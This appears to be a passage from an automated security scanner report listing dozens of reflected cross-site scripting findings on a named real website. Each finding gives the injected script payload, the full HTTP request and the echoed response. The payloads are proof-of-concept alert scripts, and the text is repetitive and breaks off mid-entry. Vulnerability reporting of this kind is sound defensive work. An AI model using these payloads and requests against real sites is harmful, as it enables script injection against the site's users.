The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 82ce3<script>alert(1)</script>e52d6463d1 was submitted in the callback parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Cache-Control: private,max-age=0 Content-Type: text/javascript; charset=utf-8 Expires: Wed, 01 Jan 1997 12:00:00 GMT Vary: Accept-Encoding Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET P3P: policyref="/w3c/p3p.xml", CP="COM CNT DEM FIN GOV INT NAV ONL PHY PRE PUR STA UNI IDC CAO OTI DSP COR CUR i OUR IND" Date: Fri, 16 Sep 2011 18:06:30 GMT Content-Length: 70
The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 70544<script>alert(1)</script>9c6b6072b91 was submitted in the callback parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Cache-Control: private,max-age=0 Content-Type: text/javascript; charset=utf-8 Expires: Wed, 01 Jan 1997 12:00:00 GMT Vary: Accept-Encoding Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET P3P: policyref="/w3c/p3p.xml", CP="COM CNT DEM FIN GOV INT NAV ONL PHY PRE PUR STA UNI IDC CAO OTI DSP COR CUR i OUR IND" Date: Fri, 16 Sep 2011 18:09:53 GMT Content-Length: 77
2.46. http://www.powermta.port25.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.powermta.port25.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 64f34"><script>alert(1)</script>6062cb3b219 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 64f34\"><script>alert(1)</script>6062cb3b219 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c9f0d"><script>alert(1)</script>51bb29a8f27 was submitted in the REST URL parameter 1. This input was echoed as c9f0d\"><script>alert(1)</script>51bb29a8f27 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtm ...[SNIP]... <input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/download-a-white-paperc9f0d\"><script>alert(1)</script>51bb29a8f27/" /> ...[SNIP]...
2.48. http://www.powermta.port25.com/download-a-white-paper/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.powermta.port25.com
Path:
/download-a-white-paper/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 72458"><script>alert(1)</script>6a2bba94794 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 72458\"><script>alert(1)</script>6a2bba94794 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3b40b"><script>alert(1)</script>cb227f93e82 was submitted in the REST URL parameter 1. This input was echoed as 3b40b\"><script>alert(1)</script>cb227f93e82 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /smtp-server-software-23b40b"><script>alert(1)</script>cb227f93e82/?gclid=CL3QyvqJoqsCFSOAgwodRgln2A HTTP/1.1 Host: www.powermta.port25.com Proxy-Connection: keep-alive Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=smtp+server User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the gclid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 118ce"><script>alert(1)</script>2713615afd7 was submitted in the gclid parameter. This input was echoed as 118ce\"><script>alert(1)</script>2713615afd7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /smtp-server-software-2/?gclid=CL3QyvqJoqsCFSOAgwodRgln2A118ce"><script>alert(1)</script>2713615afd7 HTTP/1.1 Host: www.powermta.port25.com Proxy-Connection: keep-alive Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=smtp+server User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtm ...[SNIP]... <input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/smtp-server-software-2/?gclid=CL3QyvqJoqsCFSOAgwodRgln2A118ce\"><script>alert(1)</script>2713615afd7" /> ...[SNIP]...
2.51. http://www.powermta.port25.com/smtp-server-software-2/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.powermta.port25.com
Path:
/smtp-server-software-2/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 26cb9"><script>alert(1)</script>b1ff255d5a7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 26cb9\"><script>alert(1)</script>b1ff255d5a7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /smtp-server-software-2/?gclid=CL3QyvqJoqsCFSOAgwodRgln2A&26cb9"><script>alert(1)</script>b1ff255d5a7=1 HTTP/1.1 Host: www.powermta.port25.com Proxy-Connection: keep-alive Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=smtp+server User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 724b4"><script>alert(1)</script>3f8b1f1a8b2 was submitted in the REST URL parameter 1. This input was echoed as 724b4\"><script>alert(1)</script>3f8b1f1a8b2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content724b4"><script>alert(1)</script>3f8b1f1a8b2/themes/powermta1/images/about-logo.gif HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bfbc2"><script>alert(1)</script>cd7034d9c1 was submitted in the REST URL parameter 2. This input was echoed as bfbc2\"><script>alert(1)</script>cd7034d9c1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themesbfbc2"><script>alert(1)</script>cd7034d9c1/powermta1/images/about-logo.gif HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 56ed8"><script>alert(1)</script>f042c7c93c1 was submitted in the REST URL parameter 3. This input was echoed as 56ed8\"><script>alert(1)</script>f042c7c93c1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/powermta156ed8"><script>alert(1)</script>f042c7c93c1/images/about-logo.gif HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 18d2c"><script>alert(1)</script>18b37ffd2 was submitted in the REST URL parameter 4. This input was echoed as 18d2c\"><script>alert(1)</script>18b37ffd2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/powermta1/images18d2c"><script>alert(1)</script>18b37ffd2/about-logo.gif HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload efd2c"><script>alert(1)</script>6f37b1a5ba8 was submitted in the REST URL parameter 5. This input was echoed as efd2c\"><script>alert(1)</script>6f37b1a5ba8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/powermta1/images/about-logo.gifefd2c"><script>alert(1)</script>6f37b1a5ba8 HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 95e09"><script>alert(1)</script>3618a2f10ed was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 95e09\"><script>alert(1)</script>3618a2f10ed in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload eb569"><script>alert(1)</script>1a1bfa8a934 was submitted in the REST URL parameter 1. This input was echoed as eb569\"><script>alert(1)</script>1a1bfa8a934 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-contenteb569"><script>alert(1)</script>1a1bfa8a934/themes/powermta1/images/face-logo.gif HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e226f"><script>alert(1)</script>f7e10f62fb3 was submitted in the REST URL parameter 2. This input was echoed as e226f\"><script>alert(1)</script>f7e10f62fb3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themese226f"><script>alert(1)</script>f7e10f62fb3/powermta1/images/face-logo.gif HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ec337"><script>alert(1)</script>35c6e68ecc3 was submitted in the REST URL parameter 3. This input was echoed as ec337\"><script>alert(1)</script>35c6e68ecc3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/powermta1ec337"><script>alert(1)</script>35c6e68ecc3/images/face-logo.gif HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3cca4"><script>alert(1)</script>76069474406 was submitted in the REST URL parameter 4. This input was echoed as 3cca4\"><script>alert(1)</script>76069474406 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/powermta1/images3cca4"><script>alert(1)</script>76069474406/face-logo.gif HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload efd7d"><script>alert(1)</script>b2723960a17 was submitted in the REST URL parameter 5. This input was echoed as efd7d\"><script>alert(1)</script>b2723960a17 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/powermta1/images/face-logo.gifefd7d"><script>alert(1)</script>b2723960a17 HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtm ...[SNIP]... <input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/images/face-logo.gifefd7d\"><script>alert(1)</script>b2723960a17" /> ...[SNIP]...
2.63. http://www.powermta.port25.com/wp-content/themes/powermta1/images/face-logo.gif [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.powermta.port25.com
Path:
/wp-content/themes/powermta1/images/face-logo.gif
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1dfa4"><script>alert(1)</script>70fd71ce6fe was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 1dfa4\"><script>alert(1)</script>70fd71ce6fe in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/powermta1/images/face-logo.gif?1dfa4"><script>alert(1)</script>70fd71ce6fe=1 HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f2d81"><script>alert(1)</script>9be443f7c69 was submitted in the REST URL parameter 5. This input was echoed as f2d81\"><script>alert(1)</script>9be443f7c69 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ba96c"><script>alert(1)</script>dd2e31bf684 was submitted in the REST URL parameter 1. This input was echoed as ba96c\"><script>alert(1)</script>dd2e31bf684 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-contentba96c"><script>alert(1)</script>dd2e31bf684/themes/powermta1/images/headerimg.jpg HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 67faa"><script>alert(1)</script>542006ac710 was submitted in the REST URL parameter 2. This input was echoed as 67faa\"><script>alert(1)</script>542006ac710 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes67faa"><script>alert(1)</script>542006ac710/powermta1/images/headerimg.jpg HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload af731"><script>alert(1)</script>b2789fef605 was submitted in the REST URL parameter 3. This input was echoed as af731\"><script>alert(1)</script>b2789fef605 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/powermta1af731"><script>alert(1)</script>b2789fef605/images/headerimg.jpg HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9ef81"><script>alert(1)</script>10358b11286 was submitted in the REST URL parameter 4. This input was echoed as 9ef81\"><script>alert(1)</script>10358b11286 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/powermta1/images9ef81"><script>alert(1)</script>10358b11286/headerimg.jpg HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6c269"><script>alert(1)</script>cab1a636d58 was submitted in the REST URL parameter 5. This input was echoed as 6c269\"><script>alert(1)</script>cab1a636d58 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/themes/powermta1/images/headerimg.jpg6c269"><script>alert(1)</script>cab1a636d58 HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtm ...[SNIP]... <input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/images/headerimg.jpg6c269\"><script>alert(1)</script>cab1a636d58" /> ...[SNIP]...
2.70. http://www.powermta.port25.com/wp-content/themes/powermta1/images/headerimg.jpg [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.powermta.port25.com
Path:
/wp-content/themes/powermta1/images/headerimg.jpg
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4d4bf"><script>alert(1)</script>e08f7b7f256 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 4d4bf\"><script>alert(1)</script>e08f7b7f256 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ed2fb"><script>alert(1)</script>8e7c7e2ee42 was submitted in the REST URL parameter 1. This input was echoed as ed2fb\"><script>alert(1)</script>8e7c7e2ee42 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload af46d"><script>alert(1)</script>84649906211 was submitted in the REST URL parameter 2. This input was echoed as af46d\"><script>alert(1)</script>84649906211 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 233f0"><script>alert(1)</script>a3644243ffa was submitted in the REST URL parameter 3. This input was echoed as 233f0\"><script>alert(1)</script>a3644243ffa in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b8744"><script>alert(1)</script>1682fc29106 was submitted in the REST URL parameter 4. This input was echoed as b8744\"><script>alert(1)</script>1682fc29106 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3e260"><script>alert(1)</script>6d48c521d4 was submitted in the REST URL parameter 5. This input was echoed as 3e260\"><script>alert(1)</script>6d48c521d4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtm ...[SNIP]... <input type="hidden" name="referralPage" id="referralPage" value="http://powermta.port25.com/wp-content/themes/powermta1/images/in-logo.gif3e260\"><script>alert(1)</script>6d48c521d4" /> ...[SNIP]...
2.76. http://www.powermta.port25.com/wp-content/themes/powermta1/images/in-logo.gif [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.powermta.port25.com
Path:
/wp-content/themes/powermta1/images/in-logo.gif
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ff5b6"><script>alert(1)</script>8277b2e200f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as ff5b6\"><script>alert(1)</script>8277b2e200f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 81600"><script>alert(1)</script>a1045f287d9 was submitted in the REST URL parameter 1. This input was echoed as 81600\"><script>alert(1)</script>a1045f287d9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content81600"><script>alert(1)</script>a1045f287d9/themes/powermta1/images/phone-number.gif HTTP/1.1 Host: www.powermta.port25.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.powermta.port25.com/wp-content/themes/powermta1/images/favicon.icof2d81%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E9be443f7c69
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f6162"><script>alert(1)</script>e459bfdeccf was submitted in the REST URL parameter 2. This input was echoed as f6162\"><script>alert(1)</script>e459bfdeccf in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
